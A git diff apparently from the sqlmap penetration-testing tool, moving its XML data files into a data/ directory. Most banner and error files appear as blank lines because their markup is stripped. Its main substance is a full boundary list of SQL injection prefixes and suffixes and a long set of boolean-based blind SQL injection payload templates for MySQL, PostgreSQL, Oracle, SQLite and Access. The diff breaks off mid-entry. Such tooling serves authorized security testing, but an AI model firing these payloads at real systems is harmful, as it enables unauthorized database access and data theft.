index 00000000000..456c9510b82
--- /dev/null
+++ b/data/xml/banner/mysql.xml
@@ -0,0 +1,79 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/xml/banner/oracle.xml b/data/xml/banner/oracle.xml
similarity index 100%
rename from xml/banner/oracle.xml
rename to data/xml/banner/oracle.xml
diff --git a/data/xml/banner/postgresql.xml b/data/xml/banner/postgresql.xml
new file mode 100644
index 00000000000..7f03e8e8c4a
--- /dev/null
+++ b/data/xml/banner/postgresql.xml
@@ -0,0 +1,16 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/xml/banner/server.xml b/data/xml/banner/server.xml
similarity index 65%
rename from xml/banner/server.xml
rename to data/xml/banner/server.xml
index 8bcd276552b..4d99cade0bd 100644
--- a/xml/banner/server.xml
+++ b/data/xml/banner/server.xml
@@ -2,24 +2,35 @@
+
+
+
+
+
+
+
+
+
+
+
+
-
+
-
+
-
+
@@ -74,6 +85,22 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
@@ -112,24 +139,36 @@
-
-
+
+
-
-
+
+
-
-
+
+
-
-
+
+
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
@@ -214,98 +253,207 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
-
+
+
+
+
+
+
@@ -414,10 +562,6 @@
-
-
-
-
@@ -488,6 +632,14 @@
+
+
+
+
+
+
+
+
@@ -591,6 +743,38 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
@@ -645,9 +829,115 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/xml/banner/servlet.xml b/data/xml/banner/servlet-engine.xml
similarity index 64%
rename from xml/banner/servlet.xml
rename to data/xml/banner/servlet-engine.xml
index 75106859d74..c34d9617e1b 100644
--- a/xml/banner/servlet.xml
+++ b/data/xml/banner/servlet-engine.xml
@@ -3,10 +3,18 @@
-
+
+
+
+
+
+
+
+
+
diff --git a/data/xml/banner/set-cookie.xml b/data/xml/banner/set-cookie.xml
new file mode 100644
index 00000000000..6f7bed59c02
--- /dev/null
+++ b/data/xml/banner/set-cookie.xml
@@ -0,0 +1,93 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/xml/banner/sharepoint.xml b/data/xml/banner/sharepoint.xml
similarity index 100%
rename from xml/banner/sharepoint.xml
rename to data/xml/banner/sharepoint.xml
diff --git a/xml/banner/x-aspnet-version.xml b/data/xml/banner/x-aspnet-version.xml
similarity index 100%
rename from xml/banner/x-aspnet-version.xml
rename to data/xml/banner/x-aspnet-version.xml
diff --git a/data/xml/banner/x-powered-by.xml b/data/xml/banner/x-powered-by.xml
new file mode 100644
index 00000000000..f52fd9aad2a
--- /dev/null
+++ b/data/xml/banner/x-powered-by.xml
@@ -0,0 +1,69 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/data/xml/boundaries.xml b/data/xml/boundaries.xml
new file mode 100644
index 00000000000..ccf93177a58
--- /dev/null
+++ b/data/xml/boundaries.xml
@@ -0,0 +1,576 @@
+
+
+
+
+
+
+
+ 3
+ 1
+ 1,2
+ 1
+ )
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 4
+ 1
+ 1,2
+ 2
+ ')
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 3
+ 1,2,3
+ 1,2
+ 2
+ '
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 5
+ 1
+ 1,2
+ 4
+ "
+ [GENERIC_SQL_COMMENT]
+
+
+
+
+
+ 1
+ 1
+ 1,2
+ 1
+ )
+ AND ([RANDNUM]=[RANDNUM]
+
+
+
+ 2
+ 1
+ 1,2
+ 1
+ ))
+ AND (([RANDNUM]=[RANDNUM]
+
+
+
+ 3
+ 1
+ 1,2
+ 1
+ )))
+ AND ((([RANDNUM]=[RANDNUM]
+
+
+
+ 1
+ 0
+ 1,2,3
+ 1
+
+
+
+
+
+ 1
+ 1
+ 1,2
+ 2
+ ')
+ AND ('[RANDSTR]'='[RANDSTR]
+
+
+
+ 2
+ 1
+ 1,2
+ 2
+ '))
+ AND (('[RANDSTR]'='[RANDSTR]
+
+
+
+ 3
+ 1
+ 1,2
+ 2
+ ')))
+ AND ((('[RANDSTR]'='[RANDSTR]
+
+
+
+ 1
+ 1
+ 1,2
+ 2
+ '
+ AND '[RANDSTR]'='[RANDSTR]
+
+
+
+ 2
+ 1
+ 1,2
+ 3
+ ')
+ AND ('[RANDSTR]' LIKE '[RANDSTR]
+
+
+
+ 3
+ 1
+ 1,2
+ 3
+ '))
+ AND (('[RANDSTR]' LIKE '[RANDSTR]
+
+
+
+ 4
+ 1
+ 1,2
+ 3
+ ')))
+ AND ((('[RANDSTR]' LIKE '[RANDSTR]
+
+
+
+ 2
+ 1
+ 1,2
+ 3
+ %'
+ AND '[RANDSTR]%'='[RANDSTR]
+
+
+
+ 2
+ 1
+ 1,2
+ 3
+ '
+ AND '[RANDSTR]' LIKE '[RANDSTR]
+
+
+
+ 2
+ 1
+ 1,2
+ 4
+ ")
+ AND ("[RANDSTR]"="[RANDSTR]
+
+
+
+ 3
+ 1
+ 1,2
+ 4
+ "))
+ AND (("[RANDSTR]"="[RANDSTR]
+
+
+
+ 4
+ 1
+ 1,2
+ 4
+ ")))
+ AND ((("[RANDSTR]"="[RANDSTR]
+
+
+
+ 2
+ 1
+ 1,2
+ 4
+ "
+ AND "[RANDSTR]"="[RANDSTR]
+
+
+
+ 3
+ 1
+ 1,2
+ 5
+ ")
+ AND ("[RANDSTR]" LIKE "[RANDSTR]
+
+
+
+ 4
+ 1
+ 1,2
+ 5
+ "))
+ AND (("[RANDSTR]" LIKE "[RANDSTR]
+
+
+
+ 5
+ 1
+ 1,2
+ 5
+ ")))
+ AND ((("[RANDSTR]" LIKE "[RANDSTR]
+
+
+
+ 3
+ 1
+ 1,2
+ 5
+ "
+ AND "[RANDSTR]" LIKE "[RANDSTR]
+
+
+
+ 1
+ 1
+ 1,2
+ 1
+
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 3
+ 1
+ 1,2
+ 1
+
+ # [RANDSTR]
+
+
+
+
+ 3
+ 1
+ 1,2
+ 2
+ '
+ OR '[RANDSTR1]'='[RANDSTR2]
+
+
+
+
+
+ 5
+ 9
+ 1,2
+ 2
+ ') WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 5
+ 9
+ 1,2
+ 2
+ ") WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 4
+ 9
+ 1,2
+ 1
+ ) WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 4
+ 9
+ 1,2
+ 2
+ ' WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 5
+ 9
+ 1,2
+ 4
+ " WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 4
+ 9
+ 1,2
+ 1
+ WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 5
+ 9
+ 1
+ 2
+ '||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]
+ )||'
+
+
+
+ 5
+ 9
+ 1
+ 2
+ '||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]
+ )||'
+
+
+
+ 5
+ 9
+ 1
+ 2
+ '+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]
+ )+'
+
+
+
+ 5
+ 9
+ 1
+ 2
+ ||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]
+ )||
+
+
+
+ 5
+ 9
+ 1
+ 2
+ ||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]
+ )||
+
+
+
+ 5
+ 9
+ 1
+ 1
+ +(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]
+ )+
+
+
+
+ 5
+ 9
+ 1
+ 2
+ '+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]
+ )+'
+
+
+
+
+
+ 5
+ 1
+ 1,2
+ 2
+ ')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 5
+ 1
+ 1,2
+ 2
+ ")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 5
+ 1
+ 1,2
+ 1
+ )) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 4
+ 1
+ 1,2
+ 2
+ ') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 5
+ 1
+ 1,2
+ 4
+ ") AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 4
+ 1
+ 1,2
+ 1
+ ) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 4
+ 1
+ 1
+ 1
+ ` WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 5
+ 1
+ 1
+ 1
+ `) WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+
+
+ 4
+ 8
+ 1
+ 6
+ `=`[ORIGINAL]`
+ AND `[ORIGINAL]`=`[ORIGINAL]
+
+
+
+ 5
+ 8
+ 1
+ 6
+ "="[ORIGINAL]"
+ AND "[ORIGINAL]"="[ORIGINAL]
+
+
+
+ 5
+ 8
+ 1
+ 6
+ ]-(SELECT 0 WHERE [RANDNUM]=[RANDNUM]
+ )|[[ORIGINAL]
+
+
+
+
+ 5
+ 7
+ 1
+ 3
+ [RANDSTR1],
+ [RANDSTR2]
+
+
+
+
+ 4
+ 1
+ 1
+ 2
+ ' IN BOOLEAN MODE)
+ #
+
+
+
diff --git a/data/xml/errors.xml b/data/xml/errors.xml
new file mode 100644
index 00000000000..605ffacd9a9
--- /dev/null
+++ b/data/xml/errors.xml
@@ -0,0 +1,248 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/data/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml
new file mode 100644
index 00000000000..0cf17140456
--- /dev/null
+++ b/data/xml/payloads/boolean_blind.xml
@@ -0,0 +1,1612 @@
+
+
+
+
+
+
+
+ AND boolean-based blind - WHERE or HAVING clause
+ 1
+ 1
+ 1
+ 1,8,9
+ 1
+ AND [INFERENCE]
+
+ AND [RANDNUM]=[RANDNUM]
+
+
+ AND [RANDNUM]=[RANDNUM1]
+
+
+
+
+ OR boolean-based blind - WHERE or HAVING clause
+ 1
+ 1
+ 3
+ 1,9
+ 2
+ OR [INFERENCE]
+
+ OR [RANDNUM]=[RANDNUM]
+
+
+ OR [RANDNUM]=[RANDNUM1]
+
+
+
+
+ OR boolean-based blind - WHERE or HAVING clause (NOT)
+ 1
+ 3
+ 3
+ 1,9
+ 1
+ OR NOT [INFERENCE]
+
+ OR NOT [RANDNUM]=[RANDNUM]
+
+
+ OR NOT [RANDNUM]=[RANDNUM1]
+
+
+
+
+ AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
+ 1
+ 2
+ 1
+ 1,8,9
+ 1
+ AND [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))
+
+ AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))
+ [GENERIC_SQL_COMMENT]
+
+
+ AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))
+
+
+
+
+ OR boolean-based blind - WHERE or HAVING clause (subquery - comment)
+ 1
+ 2
+ 3
+ 1,9
+ 2
+ OR [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))
+
+ OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))
+ [GENERIC_SQL_COMMENT]
+
+
+ OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))
+
+
+
+
+ AND boolean-based blind - WHERE or HAVING clause (comment)
+ 1
+ 2
+ 1
+ 1
+ 1
+ AND [INFERENCE]
+
+ AND [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+ AND [RANDNUM]=[RANDNUM1]
+
+
+
+
+ OR boolean-based blind - WHERE or HAVING clause (comment)
+ 1
+ 2
+ 3
+ 1
+ 2
+ OR [INFERENCE]
+
+ OR [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+ OR [RANDNUM]=[RANDNUM1]
+
+
+
+
+ OR boolean-based blind - WHERE or HAVING clause (NOT - comment)
+ 1
+ 4
+ 3
+ 1
+ 1
+ OR NOT [INFERENCE]
+
+ OR NOT [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+ OR NOT [RANDNUM]=[RANDNUM1]
+
+
+
+
+ AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
+ 1
+ 3
+ 1
+ 1
+ 1
+ AND [INFERENCE]
+
+ AND [RANDNUM]=[RANDNUM]
+ #
+
+
+ AND [RANDNUM]=[RANDNUM1]
+
+
+ MySQL
+
+
+
+
+ OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
+ 1
+ 3
+ 3
+ 1
+ 2
+ OR [INFERENCE]
+
+ OR [RANDNUM]=[RANDNUM]
+ #
+
+
+ OR [RANDNUM]=[RANDNUM1]
+
+
+ MySQL
+
+
+
+
+ OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
+ 1
+ 3
+ 3
+ 1
+ 1
+ OR NOT [INFERENCE]
+
+ OR NOT [RANDNUM]=[RANDNUM]
+ #
+
+
+ OR NOT [RANDNUM]=[RANDNUM1]
+
+
+ MySQL
+
+
+
+
+ AND boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)
+ 1
+ 3
+ 1
+ 1
+ 1
+ AND [INFERENCE]
+
+ AND [RANDNUM]=[RANDNUM]
+ %16
+
+
+ AND [RANDNUM]=[RANDNUM1]
+
+
+ Microsoft Access
+
+
+
+
+ OR boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)
+ 1
+ 3
+ 3
+ 1
+ 2
+ OR [INFERENCE]
+
+ OR [RANDNUM]=[RANDNUM]
+ %16
+
+
+ OR [RANDNUM]=[RANDNUM1]
+
+
+ Microsoft Access
+
+
+
+
+ MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
+ 1
+ 2
+ 1
+ 1,2,3
+ 1
+ RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END))
+
+ RLIKE (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 0x28 END))
+
+
+ RLIKE (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 0x28 END))
+
+
+ MySQL
+
+
+
+
+ MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)
+ 1
+ 3
+ 1
+ 1,2,3,8
+ 1
+ AND MAKE_SET([INFERENCE],[RANDNUM])
+
+ AND MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1])
+
+
+ AND MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1])
+
+
+ MySQL
+
+
+
+
+ MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)
+ 1
+ 3
+ 3
+ 1,2,3
+ 2
+ OR MAKE_SET([INFERENCE],[RANDNUM])
+
+ OR MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1])
+
+
+ OR MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1])
+
+
+ MySQL
+
+
+
+
+ MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)
+ 1
+ 4
+ 1
+ 1,2,3,8
+ 1
+ AND ELT([INFERENCE],[RANDNUM])
+
+ AND ELT([RANDNUM]=[RANDNUM],[RANDNUM1])
+
+
+ AND ELT([RANDNUM]=[RANDNUM1],[RANDNUM1])
+
+
+ MySQL
+
+
+
+
+ MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)
+ 1
+ 4
+ 3
+ 1,2,3
+ 2
+ OR ELT([INFERENCE],[RANDNUM])
+
+ OR ELT([RANDNUM]=[RANDNUM],[RANDNUM1])
+
+
+ OR ELT([RANDNUM]=[RANDNUM1],[RANDNUM1])
+
+
+ MySQL
+
+
+
+
+ MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
+ 1
+ 5
+ 1
+ 1,2,3,8
+ 1
+ AND EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END)
+
+ AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END)
+
+
+ AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)
+
+
+ MySQL
+
+
+
+
+ MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
+ 1
+ 5
+ 3
+ 1,2,3,8
+ 2
+ OR EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END)
+
+ OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END)
+
+
+ OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)
+
+
+ MySQL
+
+
+
+
+ PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
+ 1
+ 2
+ 1
+ 1,8
+ 1
+ AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL
+
+ AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL
+
+
+ AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL
+
+
+ PostgreSQL
+
+
+
+
+ PostgreSQL OR boolean-based blind - WHERE or HAVING clause (CAST)
+ 1
+ 3
+ 3
+ 1
+ 2
+ OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL
+
+ OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL
+
+
+ OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL
+
+
+ PostgreSQL
+
+
+
+
+ Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)
+ 1
+ 2
+ 1
+ 1
+ 1
+ AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL
+
+ AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL
+
+
+ AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL
+
+
+ Oracle
+
+
+
+
+ Oracle OR boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)
+ 1
+ 3
+ 3
+ 1
+ 2
+ OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL
+
+ OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL
+
+
+ OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL
+
+
+ Oracle
+
+
+
+
+ SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)
+ 1
+ 2
+ 1
+ 1
+ 1
+ AND CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END
+
+ AND CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END
+
+
+ AND CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END
+
+
+ SQLite
+
+
+
+
+ SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)
+ 1
+ 3
+ 3
+ 1
+ 2
+ OR CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END
+
+ OR CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END
+
+
+ OR CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END
+
+
+ SQLite
+
+
+
+
+
+
+
+ Boolean-based blind - Parameter replace (original value)
+ 1
+ 1
+ 1
+ 1,2,3
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))
+
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))
+
+
+
+
+ MySQL boolean-based blind - Parameter replace (MAKE_SET)
+ 1
+ 4
+ 1
+ 1,2,3
+ 3
+ MAKE_SET([INFERENCE],[RANDNUM])
+
+ MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1])
+
+
+ MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1])
+
+
+ MySQL
+
+
+
+
+ MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)
+ 1
+ 5
+ 1
+ 1,2,3
+ 3
+ MAKE_SET([INFERENCE],[ORIGVALUE])
+
+ MAKE_SET([RANDNUM]=[RANDNUM],[ORIGVALUE])
+
+
+ MAKE_SET([RANDNUM]=[RANDNUM1],[ORIGVALUE])
+
+
+ MySQL
+
+
+
+
+ MySQL boolean-based blind - Parameter replace (ELT)
+ 1
+ 4
+ 1
+ 1,2,3
+ 3
+ ELT([INFERENCE],[RANDNUM])
+
+ ELT([RANDNUM]=[RANDNUM],[RANDNUM1])
+
+
+ ELT([RANDNUM]=[RANDNUM1],[RANDNUM1])
+
+
+ MySQL
+
+
+
+
+ MySQL boolean-based blind - Parameter replace (ELT - original value)
+ 1
+ 5
+ 1
+ 1,2,3
+ 3
+ ELT([INFERENCE],[ORIGVALUE])
+
+ ELT([RANDNUM]=[RANDNUM],[ORIGVALUE])
+
+
+ ELT([RANDNUM]=[RANDNUM1],[ORIGVALUE])
+
+
+ MySQL
+
+
+
+
+ MySQL boolean-based blind - Parameter replace (bool*int)
+ 1
+ 4
+ 1
+ 1,2,3
+ 3
+ ([INFERENCE])*[RANDNUM]
+
+ ([RANDNUM]=[RANDNUM])*[RANDNUM1]
+
+
+ ([RANDNUM]=[RANDNUM1])*[RANDNUM1]
+
+
+ MySQL
+
+
+
+
+ MySQL boolean-based blind - Parameter replace (bool*int - original value)
+ 1
+ 5
+ 1
+ 1,2,3
+ 3
+ ([INFERENCE])*[ORIGVALUE]
+
+ ([RANDNUM]=[RANDNUM])*[ORIGVALUE]
+
+
+ ([RANDNUM]=[RANDNUM1])*[ORIGVALUE]
+
+
+ MySQL
+
+
+
+
+ PostgreSQL boolean-based blind - Parameter replace
+ 1
+ 3
+ 1
+ 1,2,3
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END))
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END))
+
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END))
+
+
+ PostgreSQL
+
+
+
+
+ PostgreSQL boolean-based blind - Parameter replace (original value)
+ 1
+ 4
+ 1
+ 1,2,3
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))
+
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))
+
+
+ PostgreSQL
+
+
+
+
+
+ PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES)
+ 1
+ 5
+ 1
+ 1,2,3
+ 3
+ (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)
+
+ (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)
+
+
+ (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)
+
+
+ PostgreSQL
+
+
+
+
+
+ PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES - original value)
+ 1
+ 5
+ 1
+ 1,2,3
+ 3
